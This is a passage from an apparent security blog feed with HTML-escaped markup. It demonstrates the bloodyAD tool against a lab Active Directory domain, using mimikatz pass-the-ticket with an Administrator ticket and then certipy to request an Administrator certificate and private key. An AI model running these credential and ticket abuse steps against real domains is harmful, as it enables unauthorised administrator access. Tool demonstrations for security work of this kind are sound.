&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;#####&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;pingcastle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="n"&gt;mysmartlogon&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt; &lt;span class="p"&gt;***/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;mimikatz&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;commandline&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;# kerberos::ptt d:\gold\documents\bloodyAD\Administrator.kirbi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;d:\gold\documents\bloodyAD\Administrator.kirbi&amp;#39;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Check if the ticket is in memory, not expired, for the right client/server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klist&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Current&lt;/span&gt; &lt;span class="n"&gt;LogonId&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;0x75af1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Cached&lt;/span&gt; &lt;span class="n"&gt;Tickets&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;#0&amp;gt; Client: Administrator @ BLOODY.LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Server&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="p"&gt;@&lt;/span&gt; &lt;span class="n"&gt;BLOODY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KerbTicket&lt;/span&gt; &lt;span class="n"&gt;Encryption&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;AES&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;256&lt;/span&gt;&lt;span class="n"&gt;-CTS-HMAC-SHA1&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;96&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="n"&gt;Flags&lt;/span&gt; &lt;span class="n"&gt;0x804a0000&lt;/span&gt; &lt;span class="p"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;reserved&lt;/span&gt; &lt;span class="n"&gt;initial&lt;/span&gt; &lt;span class="n"&gt;0xa0000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;Start &lt;/span&gt;&lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;56&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;End&lt;/span&gt; &lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2022&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;54&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;52&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Renew&lt;/span&gt; &lt;span class="n"&gt;Time&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Session&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;RSADSI&lt;/span&gt; &lt;span class="nb"&gt;RC4-HMAC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Cache&lt;/span&gt; &lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Kdc&lt;/span&gt; &lt;span class="n"&gt;Called&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Install winkerberos &amp;gt; 0.9.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-upgrade&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-force-reinstall&lt;/span&gt; &lt;span class="n"&gt;winkerberos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## And now the magic happens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## (Don&amp;#39;t forget to add an entry in C:\Windows\System32\drivers\etc\hosts for WIN-IJ5B521UO5L.bloody.local if needed)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>挖掘证书认证</title><link>https://cravaterouge.com/zh/articles/ad-certificate/</link><pubDate>Thu, 09 Nov 2023 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/ad-certificate/</guid><description>&lt;p&gt;几天前，我阅读了来自 Almond 的 Yannick Méheut 的一篇&lt;a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html" target="_blank" rel="noopener"&gt;精彩文章&lt;/a&gt;，内容是关于在 Active Directory 环境中使用证书认证的。这在 PKINIT 不受支持时尤其有用，因为在这种情况下，您无法使用证书请求 TGT。
这就是为什么我想扩展 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 的功能，以支持证书认证。
以下是如何使用它的示例（第一部分展示了如何获取证书，如果您只是想尝试该功能）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Grab the cert&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the CA Authority name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@bloody&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Authenticating&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Bound&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;ldaps&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;636&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="kd"&gt;Configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;path: &lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;33&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authorities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;1&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;11&lt;/span&gt; &lt;span class="n"&gt;enabled&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC01.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;192.168.10.2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-DC01-CA&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;CSRA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;DCOM&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-DC01-CA&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Resolved&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC01.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the PFX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="nv"&gt;@bloody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-target&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;bloody-DC01&lt;/span&gt;&lt;span class="n"&gt;-CA&lt;/span&gt; &lt;span class="n"&gt;-template&lt;/span&gt; &lt;span class="n"&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;RPC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;UPN&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Administrator@bloody.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Certificate&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="n"&gt;SID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;administrator.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Convert it to pem&lt;/span&gt;
